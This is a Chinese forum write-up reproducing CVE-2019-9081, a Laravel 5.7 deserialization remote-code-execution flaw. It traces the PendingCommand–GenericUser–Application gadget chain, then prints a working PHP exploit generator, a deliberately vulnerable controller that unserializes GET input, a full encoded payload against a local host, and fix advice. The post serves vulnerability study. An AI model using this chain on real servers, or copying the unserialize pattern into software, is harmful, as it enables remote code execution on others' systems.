首页
社区
课程
招聘
[原创]CVE-2019-9081 Laravel5.7 反序列化 RCE复现
2021-12-23 12:00 13432

[原创]CVE-2019-9081 Laravel5.7 反序列化 RCE复现

2021-12-23 12:00
13432

CVE-2019-9081 Laravel5.7 反序列化 RCE

一、漏洞简介

Laravel Framework 5.7.x版本中的Illuminate组件存在反序列化漏洞,远程攻击者可利用该漏洞执行代码

二、漏洞影响

Laravel5.7

三、漏洞分析

laravel在5.7之后加入了PendingCommand类,同时发现了两个方法

 

1

 

PendingCommand类有魔术方法__destruct(),该方法调用run函数,然后run函数执行命令

 

我们跟进看一下构造方法

 

2

 

一共需要用到4个属性

 

我们继续跟进run方法看一下

 

3

 

注意$this->mockConsoleOutput();

 

我们跟进看一下

 

4

 

继续跟进createABufferedOutputMock()

 

5

 

继续走下去,我们需要属性$this->test->expectedOutput

 

6

 

我们需要找到类中用expectedOutput

 

经过全局搜索,在Illuminate\Foundation\Testing\Concerns,存在

 

但是这种类,需要用魔法方法get,来实例化

 

vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php中存在可以利用的get方法

 

7

 

设置键名为expectedOutput的数组,即可利用

 

现在就缺$app参数,我们回去接着跟进run方法

 

8

 

这里也很重要

1
$this->app[Kernel::class]

这里在实例化对象,再去调对应的call方法,跟着Kerne可以看到是在实例化

1
Illuminate\Contracts\Console\Kernel

首先进入到

 

9

 

跟进make方法

 

10

 

跟进父类的make

 

11

 

跟进resolve

 

12

 

那么此时发现$concrete的值来自于getConcrete($abstract):

1
vendor/laravel/framework/src/Illuminate/Container/Container.php

跟进getConcrete

 

13

 

注意这里

1
2
3
if (isset($this->bindings[$abstract])) {
    return $this->bindings[$abstract]['concrete'];
}

如果bindings[$abstract]存在,则会返回bindings[$abstract][‘concrete’]

 

bindings是类Container的属性,并且类Container中也有可以RCE的call方法。

 

到现在,我们可以整理一下思路

1
我们可以任意实例化类Container的子类,这样在其子类调用call的时候,会触发类Container的call方法,那么即可达成RCE

我们选择Illuminate\Foundation\Application而$abstract的值为Illuminate\Contracts\Console\Kernel。
那么此时我们容易知道$bindings只要存在键名为Illuminate\Contracts\Console\Kernel的数组,就能进入该if条件句,那么我们只要按如下进行构造:

1
2
3
4
5
1.类PendingCommand 利用 destruct触发run()方法
2.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 构造数组
3.类vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php 利用 get()魔法方法满足mockConsoleOutput
4.利用任意实例化对象,实例化Illuminate\Foundation\Application
5.调用call触发父类call方法RCE

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
 
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
 
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
 
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
 
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
 
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
 
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1")));
    $application = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application")));
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand("phpinfo",array('1'),$genericuser,$application);
    echo urlencode(serialize($pendingcommand));
}
?>

四、漏洞复现

routes/web.php添加一条路由

1
Route::get('/index', 'TaskController@index');

接下来在app/Http/Controllers文件夹下创建文件TaskController.php,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
namespace App\Http\Controllers;
highlight_file(__FILE__);
class TaskController
{
    public function index(){
        if(isset($_GET['code']))
        {
            $code=$_GET['code'];
            unserialize($code);
            return "Welcome to H3'palce";
        }
    }
}
?>

利用exp生成payload

 

然后传值过去

 

payload:

1
http://127.0.0.1/public/index.php/index?code=O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

14

五、漏洞修复

1、删除__destruct中的$this->run()代码段

 

2、更新到新版本


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回